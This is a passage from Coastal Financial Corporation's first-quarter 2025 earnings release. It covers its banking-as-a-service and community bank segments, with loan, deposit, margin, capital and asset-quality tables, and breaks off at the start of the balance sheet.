Coastal Financial Corporation Overview

The Company has one main subsidiary, the Bank, which consists of three segments: CCBX, the community bank and treasury & administration. The CCBX segment includes all of our BaaS activities, the community bank segment includes all community banking activities and the treasury & administration segment includes treasury management, overall administration and all other aspects of the Company.

CCBX Performance Update

Our CCBX segment continues to evolve, and we have 25 relationships, at varying stages, including two partners in testing, three in implementation/onboarding, one signed LOI as of March 31, 2025. We continue to refine the criteria for CCBX partnerships, exploring relationships with larger more established partners, with experienced management teams, existing customer bases and strong financial positions. We also will consider promising medium and smaller sized partners that align with our approach and terms including financial wherewithal and will continue to exit relationships where it makes sense for us to do so.

While we explore relationships with new partners we continue to expand our product offerings with existing CCBX partners. As we become more proficient in the BaaS space we aim to cultivate new relationships that align with our long-term goals. We believe that a strategy of adding new partnerships and launching new products with existing partners allows us to expand and grow our customer base with a modest increase in regulatory risk given our operational history with them. Increases in partner activity/transaction counts is positively impacting noninterest income and we expect this trend to continue as current products grow and new products are introduced . We plan to continue selling loans as part of our strategy to balance partner and lending limits, and manage the loan portfolio and credit quality. We retain a portion of the fee income for our role in processing transactions on sold credit card balances, and will continue this strategy to provide an on-going and passive revenue source with no on balance sheet risk or capital requirement.

On April 1, 2025, we went live with the T-Mobile deposit program and our second quarter deposits will include those balances. As we build our deposit base, we will be able to sweep deposits off and on the balance sheet as needed. This deposit sweep capability allows us to better manage liquidity and deposit programs. At March 31, 2025 we swept off $406.3 million in deposits for FDIC insurance and liquidity purposes. We are also launching a new suite of deposit products with RobinHood, which are expected to launch in the back half of 2025. The introduction of theses products are expected to increase deposits.

The following table illustrates the activity and evolution in CCBX relationships for the periods presented.

	As of
(unaudited)	March 31, 2025	December 31, 2024	March 31, 2024
Active	19	19	19
Friends and family / testing	2	1	1
Implementation / onboarding	3	1	1
Signed letters of intent	1	3	0
Total CCBX relationships	25	24	21

CCBX loans increased $47.2 million, or 2.9%, to $1.65 billion despite selling $744.6 million in loans during the three months ended March 31, 2025. In accordance with the program agreement for one partner, effective April 1, 2024, the portion of the CCBX portfolio that we are responsible for losses on decreased from 10% to 5%. At March 31, 2025 the portion of this portfolio for which we are responsible represented $19.9 million in loans.

The following table details the CCBX loan portfolio:

CCBX	As of
	March 31, 2025						December 31, 2024						March 31, 2024
(dollars in thousands; unaudited)	Balance			% to Total			Balance			% to Total			Balance			% to Total
Commercial and industrial loans:
Capital call lines	$	133,466			8.1	%	$	109,017			6.8	%	$	135,671			10.3	%
All other commercial & industrial loans		29,702			1.8			33,961			2.1			47,160			3.6
Real estate loans:
Residential real estate loans		285,355			17.3			267,707			16.7			265,148			20.2
Consumer and other loans:
Credit cards		532,775			32.2			528,554			33.0			505,706			38.6
Other consumer and other loans		670,026			40.6			664,780			41.4			358,528			27.3
Gross CCBX loans receivable		1,651,324			100.0	%		1,604,019			100.0	%		1,312,213			100.0	%
Net deferred origination (fees) costs		(498	)					(442	)					(394	)
Loans receivable	$	1,650,826					$	1,603,577					$	1,311,819
Loan Yield – CCBX ⁽¹⁾⁽²⁾		16.88	%					16.81	%					17.74	%

⁽¹⁾	CCBX yield does not include the impact of BaaS loan expense. BaaS loan expense represents the amount paid or payable to partners for credit enhancements and originating & servicing CCBX loans. See reconciliation of the non-GAAP measures at the end of this earnings release for the impact of BaaS loan expense on CCBX loan yield.
⁽²⁾	Loan yield is annualized for the three months ended for each period presented and includes loans held for sale and nonaccrual loans.

The increase in CCBX loans in the quarter ended March 31, 2025, includes an increase of $24.4 million, or 22.4%, in capital call lines as a result of normal balance fluctuations and business activities, an increase of $17.6 million, or 6.6%, in residential real estate loans and an increase of $9.5 million or 0.8%, in other consumer and other loans. We continue to monitor and manage the CCBX loan portfolio, and sold $744.6 million in CCBX loans during the quarter ended March 31, 2025 compared to sales of $845.5 million in the quarter ended December 31, 2024. We continue to reposition ourselves by managing CCBX credit and concentration levels in an effort to optimize our loan portfolio earnings and generate off balance sheet fee income. CCBX loan yield increased 0.07% for the quarter ended March 31, 2025 compared to the quarter ended December 31, 2024.

The following chart shows the growth in credit card accounts that generate fee income. This includes accounts with balances, which are included in our loan totals, and accounts that have been sold and have no corresponding balance in our loan totals, and that generate fee income.

The following table details the CCBX deposit portfolio:

CCBX	As of
	March 31, 2025						December 31, 2024						March 31, 2024
(dollars in thousands; unaudited)	Balance			% to Total			Balance			% to Total			Balance			% to Total
Demand, noninterest bearing	$	58,416			2.6	%	$	55,686			2.7	%	$	58,669			2.9	%
Interest bearing demand and money market		2,145,608			94.6			1,958,459			94.9			1,964,942			96.8
Savings		16,625			0.7			5,710			0.3			5,338			0.3
Total core deposits		2,220,649			97.9			2,019,855			97.9			2,028,949			100.0
Other deposits		46,359			2.1			44,233			2.1			—			—
Total CCBX deposits	$	2,267,008			100.0	%	$	2,064,088			100.0	%	$	2,028,949			100.0	%
Cost of deposits ⁽¹⁾		4.01	%					4.19	%					4.93	%

⁽¹⁾	Cost of deposits is annualized for the three months ended for each period presented.

CCBX deposits increased $202.9 million, or 9.8%, in the three months ended March 31, 2025 to $2.27 billion as a result of growth and normal balance fluctuations. This excludes the $406.3 million in CCBX deposits that were transferred off balance sheet for increased Federal Deposit Insurance Corporation (“FDIC”) insurance coverage and sweep purposes, compared to $273.2 million for the quarter ended December 31, 2024. Amounts in excess of FDIC insurance coverage are transferred, using a third-party facilitator/vendor sweep product, to participating financial institutions.

Community Bank Performance Update

In the quarter ended March 31, 2025, the community bank saw net loans decrease $16.5 million, or 0.9%, to $1.87 billion, as a result of normal balance fluctuations.

The following table details the Community Bank loan portfolio:

Community Bank	As of
	March 31, 2025						December 31, 2024						March 31, 2024
(dollars in thousands; unaudited)	Balance			% to Total			Balance			% to Total			Balance			% to Total
Commercial and industrial loans	$	149,104			8.0	%	$	150,395			8.0	%	$	154,395			8.2	%
Real estate loans:
Construction, land and land development loans		166,551			8.9			148,198			7.8			160,862			8.5
Residential real estate loans		202,920			10.8			202,064			10.7			231,157			12.2
Commercial real estate loans		1,340,647			71.6			1,374,801			72.8			1,342,489			71.0
Consumer and other loans:
Other consumer and other loans		13,326			0.7			13,542			0.7			1,447			0.1
Gross Community Bank loans receivable		1,872,548			100.0	%		1,889,000			100.0	%		1,890,350			100.0	%
Net deferred origination fees		(6,015	)					(6,012	)					(7,068	)
Loans receivable	$	1,866,533					$	1,882,988					$	1,883,282
Loan Yield⁽¹⁾		6.53	%					6.53	%					6.46	%

⁽¹⁾	Loan yield is annualized for the three months ended for each period presented and includes loans held for sale and nonaccrual loans.

Community bank loans decreased $34.2 million in commercial real estate loans, $1.3 million in commercial and industrial loans and $216,000 in consumer and other loans, partially offset by an increase of $18.4 million in construction, land and land development loans, during the quarter ended March 31, 2025.

The following table details the community bank deposit portfolio:

Community Bank	As of
	March 31, 2025						December 31, 2024						March 31, 2024
(dollars in thousands; unaudited)	Balance			% to Total			Balance			% to Total			Balance			% to Total
Demand, noninterest bearing	$	481,214			31.5	%	$	471,838			31.0	%	$	515,443			35.9	%
Interest bearing demand and money market		560,416			36.8			570,625			37.5			834,725			58.2
Savings		59,493			3.9			61,116			4.0			68,747			4.8
Total core deposits		1,101,123			72.2			1,103,579			72.5			1,418,915			99.0
Other deposits		407,391			26.7			400,118			26.3			1			0.0
Time deposits less than $100,000		5,585			0.4			5,920			0.4			7,199			0.5
Time deposits $100,000 and over		10,122			0.7			11,627			0.8			7,915			0.6
Total Community Bank deposits	$	1,524,221			100.0	%	$	1,521,244			100.0	%	$	1,434,030			100.0	%
Cost of deposits⁽¹⁾		1.76	%					1.86	%					1.66	%

⁽¹⁾	Cost of deposits is annualized for the three months ended for each period presented.

Community bank deposits increased $3.0 million, or 0.2%, during the three months ended March 31, 2025 to $1.52 billion as result of normal balance fluctuations. The community bank segment includes noninterest bearing deposits of $481.2 million, or 31.5%, of total community bank deposits, resulting in a cost of deposits of 1.76%, which compared to 1.86% for the quarter ended December 31, 2024, largely due to the decreases in the Fed funds rate late in the third quarter and during the fourth quarter of 2024.

Net Interest Income and Margin Discussion

Net interest income was $76.1 million for the quarter ended March 31, 2025, an increase of $3.7 million, or 5.1%, from $72.4 million for the quarter ended December 31, 2024, and an increase of $13.9 million, or 22.3%, from $62.2 million for the quarter ended March 31, 2024. Net interest income compared to December 31, 2024, was higher due to an increase in average loans receivable, an increase in loan yield and a decrease in cost of funds. The increase in net interest income compared to March 31, 2024 was largely related to growth in higher yielding loans, partially offset by an increase in cost of funds relating to higher interest rates and growth in interest bearing deposits.

Net interest margin was 7.48% for the three months ended March 31, 2025, compared to 7.23% for the three months ended December 31, 2024, largely due to higher loan yield and lower cost of deposits. Net interest margin, net of BaaS loan expense, (a reconciliation of the non-GAAP measures are set forth in the Non-GAAP Financial Measures section of this earnings release) was 4.28% for the three months ended March 31, 2025, compared to 4.16% for the three months ended December 31, 2024. Net interest margin was 6.92% for the three months ended March 31, 2024. The increase in net interest margin for the three months ended March 31, 2025 compared to the three months ended March 31, 2024 was largely due to an increase in loan yield, partially offset by higher interest rates on interest bearing deposits. Interest and fees on loans receivable increased $2.6 million, or 2.7%, to $98.1 million for the three months ended March 31, 2025, compared to $95.6 million for the three months ended December 31, 2024, as a result of loan growth. Interest and fees on loans receivable increased $12.3 million, or 14.3%, compared to $85.9 million for the three months ended March 31, 2024, due to an increase in outstanding balances and higher interest rates. Net interest margin, net of BaaS loan expense (a reconciliation of the non-GAAP measures are set forth in the Non-GAAP Financial Measures section of this earnings release) increased 0.12% for the three months ended March 31, 2025, compared to the three months ended December 31, 2024 and increased 0.26% compared the three months ended March 31, 2024.

The following tables illustrate how net interest margin and loan yield is affected by BaaS loan expense:

Consolidated	As of and for the Three Months Ended
(dollars in thousands; unaudited)	March 31 2025			December 31 2024			March 31 2024
Net interest margin, net of BaaS loan expense:
Net interest margin ⁽¹⁾		7.48	%		7.23	%		6.92	%
Earning assets		4,124,065			3,980,078			3,613,769
Net interest income (GAAP)		76,062			72,377			62,206
Less: BaaS loan expense		(32,507	)		(30,720	)		(26,107	)
Net interest income, net of BaaS loan expense⁽²⁾	$	43,555		$	41,657		$	36,099
Net interest margin, net of BaaS loan expense ⁽¹⁾⁽²⁾		4.28	%		4.16	%		4.02	%
Loan income net of BaaS loan expense divided by average loans:
Loan yield (GAAP)⁽¹⁾		11.33	%		11.12	%		11.01	%
Total average loans receivable	$	3,511,724		$	3,419,476		$	3,137,271
Interest and earned fee income on loans (GAAP)		98,147			95,575			85,891
BaaS loan expense		(32,507	)		(30,720	)		(26,107	)
Net loan income⁽²⁾	$	65,640		$	64,855		$	59,784
Loan income, net of BaaS loan expense, divided by average loans ⁽¹⁾⁽²⁾		7.58	%		7.55	%		7.66	%

⁽¹⁾	Annualized calculations shown for periods presented.
⁽²⁾	A reconciliation of the non-GAAP measures are set forth at the end of this earnings release.

Average investment securities decreased $974,000 to $47.2 million compared to the three months ended December 31, 2024 and decreased $68.2 million compared to the three months ended March 31, 2024 as a result of principal paydowns and maturing securities.

Cost of funds was 3.11% for the quarter ended March 31, 2025, a decrease of 13 basis points from the quarter ended December 31, 2024 and a decrease of 42 basis points from the quarter ended March 31, 2024. Cost of deposits for the quarter ended March 31, 2025 was 3.08%, compared to 3.21% for the quarter ended December 31, 2024, and 3.49% for the quarter ended March 31, 2024. The decreased cost of funds and deposits compared to December 31, 2024 and March 31, 2024 were largely due to the recent reductions in the Fed funds rate.

The following table summarizes the average yield on loans receivable and cost of deposits:

	For the Three Months Ended
	March 31, 2025						December 31, 2024						March 31, 2024
	Yield on Loans ⁽²⁾			Cost of Deposits ⁽²⁾			Yield on Loans ⁽²⁾			Cost of Deposits ⁽²⁾			Yield on Loans ⁽²⁾			Cost of Deposits ⁽²⁾
Community Bank		6.53	%		1.76	%		6.53	%		1.86	%		6.46	%		1.66	%
CCBX ⁽¹⁾		16.88	%		4.01	%		16.81	%		4.19	%		17.74	%		4.93	%
Consolidated		11.33	%		3.08	%		11.12	%		3.21	%		11.01	%		3.49	%

⁽¹⁾	CCBX yield on loans does not include the impact of BaaS loan expense. BaaS loan expense represents the amount paid or payable to partners for credit and fraud enhancements and originating & servicing CCBX loans. To determine Net BaaS loan income earned from CCBX loan relationships, the Company takes BaaS loan interest income and deducts BaaS loan expense to arrive at Net BaaS loan income which can be compared to interest income on the Company’s community bank loans. See reconciliation of the non-GAAP measures at the end of this earnings release for the impact of BaaS loan expense on CCBX loan yield.
⁽²⁾	Annualized calculations for periods presented.

The following table illustrates how BaaS loan interest income is affected by BaaS loan expense resulting in net BaaS loan income and the associated yield:

	For the Three Months Ended
	March 31, 2025					December 31, 2024					March 31, 2024
(dollars in thousands, unaudited)	Income / Expense		Income / expense divided by average CCBX loans ⁽²⁾			Income / Expense		Income / expense divided by average CCBX loans⁽²⁾			Income / Expense		Income / expense divided by average CCBX loans ⁽²⁾
BaaS loan interest income	$	67,855		16.88	%	$	64,532		16.81	%	$	55,839		17.74	%
Less: BaaS loan expense		32,507		8.09	%		30,720		8.00	%		26,107		8.29	%
Net BaaS loan income ⁽¹⁾	$	35,348		8.79	%	$	33,812		8.81	%	$	29,732		9.45	%
Average BaaS Loans⁽³⁾	$	1,630,088				$	1,527,178				$	1,265,857

⁽¹⁾	A reconciliation of the non-GAAP measures are set forth at the end of this earnings release.
⁽²⁾	Annualized calculations shown for the periods presented.
⁽³⁾	Includes loans held for sale.

Noninterest Income Discussion

Noninterest income was $63.5 million for the three months ended March 31, 2025, a decrease of $10.6 million from $74.1 million for the three months ended December 31, 2024, and a decrease of $22.7 million from $86.2 million for the three months ended March 31, 2024. The decrease in noninterest income for the quarter ended March 31, 2025 as compared to the quarter ended December 31, 2024 was primarily due to a decrease of $10.8 million in total BaaS income. The $10.8 million decrease in total BaaS income included an $8.4 million decrease in BaaS credit enhancements related to the provision for credit losses and a $3.1 million decrease in BaaS fraud enhancements partially offset by an increase of $724,000 in BaaS program income. The $724,000 increase in BaaS program income is largely due to higher reimbursement of CCBX partner expenses and an increase in transaction and interchange fees and servicing and other BaaS fees, (see “Appendix B” for more information on the accounting for BaaS allowance for credit losses and credit and fraud enhancements).

The $22.7 million decrease in noninterest income over the quarter ended March 31, 2024 was primarily due to a $25.1 million decrease in BaaS credit and fraud enhancements and an increase of $2.2 million in BaaS program income.

Noninterest Expense Discussion

Total noninterest expense increased $4.6 million to $72.0 million for the three months ended March 31, 2025, compared to $67.4 million for the three months ended December 31, 2024, and increased $15.5 million from $56.5 million for the three months ended March 31, 2024. The $4.6 million increase in noninterest expense for the quarter ended March 31, 2025, as compared to the quarter ended December 31, 2024, was primarily due to a $3.5 million increase in salaries and benefits, $1.9 million increase in legal and professional fees, and $1.8 million increase in BaaS loan expense, partially offset by a $3.1 million decrease in BaaS fraud expense. The salaries and benefits and legal and professional fees increases were part of our continued investments in growth, technology and risk management. BaaS loan expense represents the amount paid or payable to partners for credit enhancements, fraud enhancements, and originating & servicing CCBX loans. BaaS fraud expense represents non-credit fraud losses on partner’s customer loan and deposit accounts. A portion of this expense is realized during the quarter in which the loss occurs, and a portion is estimated based on historical or other information from our partners.

The increase in noninterest expenses for the quarter ended March 31, 2025 compared to the quarter ended March 31, 2024 was largely due to a $6.4 million increase in BaaS loan expense, a $1.1 million increase in BaaS fraud expense, a $2.8 million increase in legal and professional expenses, a $3.5 million increase in salary and employee benefits, and a $1.3 million increase in data processing and software licenses due to enhancements in technology all of which are related to the growth of Company and investments in technology and risk management.

Certain noninterest expenses are reimbursed by our CCBX partners. In accordance with GAAP we recognize all expenses in noninterest expense and the reimbursement of expenses from our CCBX partner in noninterest income. The following table reflects the portion of noninterest expenses that are reimbursed by partners to assist the understanding of how the increases in noninterest expense are related to expenses incurred for and reimbursed by CCBX partners:

	Three Months Ended
	March 31,		December 31,		March 31,
(dollars in thousands; unaudited)		2025		2024		2024
Total noninterest expense (GAAP)	$	71,989	$	67,411	$	56,509
Less: BaaS loan expense		32,507		30,720		26,107
Less: BaaS fraud expense		1,993		5,043		923
Less: Reimbursement of expenses (BaaS)		1,026		812		254
Noninterest expense, net of BaaS loan expense, BaaS fraud expense and reimbursement of expenses (BaaS) ⁽¹⁾	$	36,463	$	30,836	$	29,225

⁽¹⁾	A reconciliation of the non-GAAP measures are set forth at the end of this earnings release.

Provision for Income Taxes

The provision for income taxes was $2.0 million for the three months ended March 31, 2025, $3.8 million for the three months ended December 31, 2024 and $1.9 million for the first quarter of 2024. The income tax provision was lower for the three months ended March 31, 2025 compared to the quarter ended December 31, 2024 as a result of the deductibility of certain equity awards which reduced tax expense during the quarter ended March 31, 2025, and was higher compared to the quarter ended March 31, 2024, primarily due to higher net income compared to that quarter, partially offset by the deductibility of certain equity awards.

The Company is subject to various state taxes that are assessed as CCBX activities and employees expand into other states, which has increased the overall tax rate used in calculating the provision for income taxes in the current and future periods. The Company uses a federal statutory tax rate of 21.0% as a basis for calculating provision for federal income taxes and 2.55% for calculating the provision for state income taxes.

Financial Condition Overview

Total assets increased $218.1 million, or 5.3%, to $4.34 billion at March 31, 2025 compared to $4.12 billion at December 31, 2024. The increase is primarily comprised of a $171.8 million increase in cash and a $30.8 million increase in loans receivable. Total loans receivable increased to $3.52 billion at March 31, 2025, from $3.49 billion at December 31, 2024.

As of March 31, 2025, in addition to the $624.3 million in cash on hand the Company had the capacity to borrow up to a total of $662.4 million from the Federal Reserve Bank discount window and Federal Home Loan Bank, plus an additional $50.0 million from a correspondent bank. There were no borrowings outstanding on these lines as of March 31, 2025.

The Company, on a stand alone basis, had a cash balance of $45.5 million as of March 31, 2025, which is retained for general operating purposes, including debt repayment, for funding $468,000 in commitments to bank technology investment funds and $40.0 million is available to be contributed to the Bank as capital.

Uninsured deposits were $558.8 million as of March 31, 2025, compared to $543.0 million as of December 31, 2024.

Total shareholders’ equity as of March 31, 2025 increased $11.2 million since December 31, 2024. The increase in shareholders’ equity was primarily comprised of an increase of $1.5 million in common stock outstanding as a result of equity awards exercised during the three months ended March 31, 2025 combined with $9.7 million in net earnings.

The Company and the Bank remained well capitalized at March 31, 2025, as summarized in the following table.

(unaudited)	Coastal Community Bank			Coastal Financial Corporation			Minimum Well Capitalized Ratios under Prompt Corrective Action ⁽¹⁾
Tier 1 Leverage Capital (to average assets)		10.57	%		10.67	%		5.00	%
Common Equity Tier 1 Capital (to risk-weighted assets)		12.12	%		12.13	%		6.50	%
Tier 1 Capital (to risk-weighted assets)		12.12	%		12.22	%		8.00	%
Total Capital (to risk-weighted assets)		13.42	%		14.73	%		10.00	%

⁽¹⁾

Presents the minimum capital ratios for an insured depository institution, such as the Bank, to be considered well capitalized under the Prompt Corrective Action framework. The minimum requirements for the Company to be considered well capitalized under Regulation Y include to maintain, on a consolidated basis, a total risk-based capital ratio of 10.0 percent or greater and a tier 1 risk-based capital ratio of 6.0 percent or greater.

Asset Quality

The total allowance for credit losses was $183.2 million and 5.21% of loans receivable at March 31, 2025 compared to $177.0 million and 5.08% at December 31, 2024 and $139.9 million and 4.38% at March 31, 2024. The allowance for credit loss allocated to the CCBX portfolio was $164.2 million and 9.95% of CCBX loans receivable at March 31, 2025, with $19.0 million of allowance for credit loss allocated to the community bank or 1.02% of total community bank loans receivable.

The following table details the allocation of the allowance for credit loss as of the period indicated:

	As of March 31, 2025									As of December 31, 2024									As of March 31, 2024
(dollars in thousands; unaudited)	Community Bank			CCBX			Total			Community Bank			CCBX			Total			Community Bank			CCBX			Total
Loans receivable	$	1,866,533		$	1,650,826		$	3,517,359		$	1,882,988		$	1,603,577		$	3,486,565		$	1,883,282		$	1,311,819		$	3,195,101
Allowance for credit losses		(18,992	)		(164,186	)		(183,178	)		(18,924	)		(158,070	)		(176,994	)		(21,384	)		(118,557	)		(139,941	)
Allowance for credit losses to total loans receivable		1.02	%		9.95	%		5.21	%		1.00	%		9.86	%		5.08	%		1.14	%		9.04	%		4.38	%

Net charge-offs totaled $48.2 million for the quarter ended March 31, 2025, compared to $56.4 million for the quarter ended December 31, 2024 and $57.0 million for the quarter ended March 31, 2024. Net charge-offs as a percent of average loans decreased to 5.57% for the quarter ended March 31, 2025 compared to 6.56% for the quarter ended December 31, 2024. CCBX partner agreements provide for a credit enhancement that covers the net-charge-offs on CCBX loans and negative deposit accounts by indemnifying or reimbursing incurred losses, except in accordance with the program agreement for one partner where the Company was responsible for credit losses on approximately 5% of a $299.8 million loan portfolio. At March 31, 2025, our portion of this portfolio represented $19.9 million in loans. Net charge-offs for this $19.9 million in loans were $1.1 million for the three months ended March 31, 2025 and December 31, 2024 and $2.1 million for the three months ended March 31, 2024.

The following table details net charge-offs for the community bank and CCBX for the period indicated:

	Three Months Ended
	March 31, 2025									December 31, 2024									March 31, 2024
(dollars in thousands; unaudited)	Community Bank			CCBX			Total			Community Bank			CCBX			Total			Community Bank			CCBX			Total
Gross charge-offs	$	4		$	53,682		$	53,686		$	139		$	61,446		$	61,585		$	15		$	58,979		$	58,994
Gross recoveries		(7	)		(5,479	)		(5,486	)		(3	)		(5,220	)		(5,223	)		(4	)		(2,032	)		(2,036	)
Net charge-offs	$	(3	)	$	48,203		$	48,200		$	136		$	56,226		$	56,362		$	11		$	56,947		$	56,958
Net charge-offs to average loans ⁽¹⁾		0.00	%		11.99	%		5.57	%		0.03	%		14.65	%		6.56	%		0.00	%		18.09	%		7.30	%

⁽¹⁾	Annualized calculations shown for periods presented.

During the quarter ended March 31, 2025, a $54.3 million provision for credit losses was recorded for CCBX partner loans, compared to the $63.7 million provision for credit losses was recorded for CCBX partner loans for the quarter ended December 31, 2024. The provision was based on management’s analysis, bringing the CCBX allowance for credit losses to $164.2 million at March 31, 2025 compared to $158.1 million at December 31, 2024. The increase in the allowance is due to the addition of new loans, partially offset by loan sales. CCBX loans have a higher level of expected losses than our community bank loans, which is reflected in the factors for the allowance for credit losses. Agreements with our CCBX partners provide for a credit enhancement which protects the Bank by indemnifying or reimbursing incurred losses.

In accordance with accounting guidance, we estimate and record a provision for expected losses for these CCBX loans and reclassified negative deposit accounts. When the provision for CCBX credit losses and provision for unfunded commitments is recorded, a credit enhancement asset is also recorded on the balance sheet through noninterest income (BaaS credit enhancements). Expected losses are recorded in the allowance for credit losses. The credit enhancement asset is relieved when credit enhancement recoveries are received from the CCBX partner. If our partner is unable to fulfill their contracted obligations then the Bank could be exposed to additional credit losses. Management regularly evaluates and manages this counterparty risk.

The factors used in management’s analysis for community bank credit losses indicated that a provision of $65,000 was needed for the quarter ended March 31, 2025 compared to a provision recapture of $1.1 million and $199,000 for the quarters ended December 31, 2024 and March 31, 2024, respectively. The provision in the current period was due to a change in the mix of the community bank loan portfolio and growth in construction loans.

The following table details the provision expense/(recapture) for the community bank and CCBX for the period indicated:

	Three Months Ended
(dollars in thousands; unaudited)	March 31, 2025		December 31, 2024			March 31, 2024
Community bank	$	65	$	(1,071	)	$	(199	)
CCBX		54,319		63,741			79,717
Total provision expense	$	54,384	$	62,670		$	79,518

A provision for unfunded commitments of $613,000 was recorded for the quarter ended March 31, 2025 as a result of a change in the loan mix of available balance. A provision for accrued interest receivable of $784,000 was recorded for the quarter ended March 31, 2025 on CCBX loans.

At March 31, 2025, our nonperforming assets were $56.4 million, or 1.30%, of total assets, compared to $62.7 million, or 1.52%, of total assets, at December 31, 2024, and $54.9 million, or 1.42%, of total assets, at March 31, 2024. These ratios are impacted by nonperforming CCBX loans that are covered by CCBX partner credit enhancements. As of March 31, 2025, $54.1 million of the $56.2 million in nonperforming CCBX loans were covered by CCBX partner credit enhancements described above.

Nonperforming assets decreased $6.3 million during the quarter ended March 31, 2025, compared to the quarter ended December 31, 2024. This change is due to a decrease in CCBX loans 90 days or more past due and still on accrual. Community bank nonperforming loans increased $89,000 from December 31, 2024 to $189,000 as of March 31, 2025, and CCBX nonperforming loans decreased $6.4 million to $56.2 million from December 31, 2024. The decrease in CCBX nonperforming loans is due to a $7.1 million decrease in CCBX loans that are past due 90 days or more and still accruing interest partially offset by an increase of $707,000 in nonaccrual loans from December 31, 2024 to $20.2 million. Some CCBX partners have a collection practice that places certain loans on nonaccrual status to improve collectability. $16.1 million of these loans are less than 90 days past due as of March 31, 2025. As a result of the type of loans (primarily consumer loans) originated through our CCBX partners we anticipate that balances 90 days past due or more and still accruing will generally increase as those loan portfolios grow. Installment/closed-end and revolving/open-end consumer loans originated through CCBX lending partners will continue to accrue interest until 120 and 180 days past due, respectively and are reported as substandard, 90 days or more days past due and still accruing. There were no repossessed assets or other real estate owned at March 31, 2025. Our nonperforming loans to loans receivable ratio was 1.60% at March 31, 2025, compared to 1.80% at December 31, 2024, and 1.72% at March 31, 2024. The lower nonperforming loans to loans receivable ratio is a reflection of our on-going risk reduction efforts.

For the quarter ended March 31, 2025, there were $3,000 community bank net recoveries and $48.2 million in net charge-offs were recorded on CCBX loans. These CCBX loans have a higher level of expected losses than our community bank loans, which is reflected in the factors for the allowance for credit losses.

The following table details the Company’s nonperforming assets for the periods indicated.

Consolidated	As of
(dollars in thousands; unaudited)	March 31, 2025			December 31, 2024			March 31, 2024
Nonaccrual loans:
Commercial and industrial loans	$	381		$	334		$	—
Real estate loans:
Residential real estate		—			—			212
Commercial real estate		—			—			7,731
Consumer and other loans:
Credit cards		13,602			10,262			—
Other consumer and other loans		6,376			8,967			—
Total nonaccrual loans		20,359			19,563			7,943
Accruing loans past due 90 days or more:
Commercial & industrial loans		782			1,006			1,793
Real estate loans:
Residential real estate loans		2,407			2,608			1,796
Consumer and other loans:
Credit cards		27,187			34,490			37,603
Other consumer and other loans		5,632			4,989			5,731
Total accruing loans past due 90 days or more		36,008			43,093			46,923
Total nonperforming loans		56,367			62,656			54,866
Real estate owned		—			—			—
Repossessed assets		—			—			—
Total nonperforming assets	$	56,367		$	62,656		$	54,866
Total nonaccrual loans to loans receivable		0.58	%		0.56	%		0.25	%
Total nonperforming loans to loans receivable		1.60	%		1.80	%		1.72	%
Total nonperforming assets to total assets		1.30	%		1.52	%		1.42	%

The following tables detail the CCBX and community bank nonperforming assets which are included in the total nonperforming assets table above.

CCBX	As of
(dollars in thousands; unaudited)	March 31, 2025			December 31, 2024			March 31, 2024
Nonaccrual loans:
Commercial and industrial loans:
All other commercial & industrial loans	$	192		$	234		$	—
Consumer and other loans:
Credit cards		13,602			10,262			—
Other consumer and other loans		6,376			8,967			—
Total nonaccrual loans		20,170			19,463			—
Accruing loans past due 90 days or more:
Commercial & industrial loans		782			1,006			1,793
Real estate loans:
Residential real estate loans		2,407			2,608			1,796
Consumer and other loans:
Credit cards		27,187			34,490			37,603
Other consumer and other loans		5,632			4,989			5,731
Total accruing loans past due 90 days or more		36,008			43,093			46,923
Total nonperforming loans		56,178			62,556			46,923
Other real estate owned		—			—			—
Repossessed assets		—			—			—
Total nonperforming assets	$	56,178		$	62,556		$	46,923
Total CCBX nonperforming assets to total consolidated assets		1.29	%		1.52	%		1.21	%

Community Bank	As of
(dollars in thousands; unaudited)	March 31, 2025			December 31, 2024			March 31, 2024
Nonaccrual loans:
Commercial and industrial loans	$	189		$	100		$	—
Real estate:
Residential real estate		—			—			212
Commercial real estate		—			—			7,731
Total nonaccrual loans		189			100			7,943
Accruing loans past due 90 days or more:
Total accruing loans past due 90 days or more		—			—			—
Total nonperforming loans		189			100			7,943
Other real estate owned		—			—			—
Repossessed assets		—			—			—
Total nonperforming assets	$	189		$	100		$	7,943
Total community bank nonperforming assets to total consolidated assets		0.01	%		—	%		0.21	%

About Coastal Financial

Coastal Financial Corporation (Nasdaq: CCB) (the “Company”), is an Everett, Washington based bank holding company whose wholly owned subsidiaries are Coastal Community Bank (“Bank”) and Arlington Olympic LLC. The $4.34 billion Bank provides service through 14 branches in Snohomish, Island, and King Counties, the Internet and its mobile banking application. The Bank provides banking as a service to digital financial service providers, companies and brands that want to provide financial services to their customers through the Bank’s CCBX segment. To learn more about the Company visit www.coastalbank.com.

CCB-ER

Contact

Eric Sprink, Chief Executive Officer, (425) 357-3659
Joel Edwards, Executive Vice President & Chief Financial Officer, (425) 357-3687

Forward-Looking Statements

This earnings release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. These forward-looking statements reflect our current views with respect to, among other things, future events and our financial performance. Any statements about our management’s expectations, beliefs, plans, predictions, forecasts, objectives, assumptions or future events or performance are not historical facts and may be forward-looking. These statements are often, but not always, made through the use of words or phrases such as “anticipate,” “believes,” “can,” “could,” “may,” “predicts,” “potential,” “should,” “will,” “estimate,” “plans,” “projects,” “continuing,” “ongoing,” “expects,” “intends” and similar words or phrases. Any or all of the forward-looking statements in this earnings release may turn out to be inaccurate. The inclusion of or reference to forward-looking information in this earnings release should not be regarded as a representation by us or any other person that the future plans, estimates or expectations contemplated by us will be achieved. We have based these forward looking statements largely on our current expectations and projections about future events and financial trends that we believe may affect our financial condition, results of operations, business strategy and financial needs. Our actual results could differ materially from those anticipated in such forward-looking statements as a result of risks, uncertainties and assumptions that are difficult to predict. Factors that could cause actual results to differ materially from those in the forward-looking statements include, without limitation, the risk that changes in U.S. trade policies, including the imposition of tariffs and retaliatory tariffs, may adversely impact our business, financial condition, and results of operations and those other risks and uncertainties discussed under “Risk Factors” in our Annual Report on Form 10-K for the most recent period filed and in any of our subsequent filings with the Securities and Exchange Commission.

If one or more events related to these or other risks or uncertainties materialize, or if our underlying assumptions prove to be incorrect, actual results may differ materially from what we anticipate. You are cautioned not to place undue reliance on forward-looking statements. Further, any forward-looking statement speaks only as of the date on which it is made, and we undertake no obligation to update or revise any forward-looking statement to reflect events or circumstances after the date on which the statement is made or to reflect the occurrence of unanticipated events, except as required by law.

COASTAL FINANCIAL CORPORATION
CONDENSED CONSOLIDATED STATEMENTS OF FINANCIAL CONDITION
(Dollars in thousands; unaudited)

ASSETS
	March 31, 2025			December 31, 2024			September 30, 2024			June 30, 2024			March 31, 2024
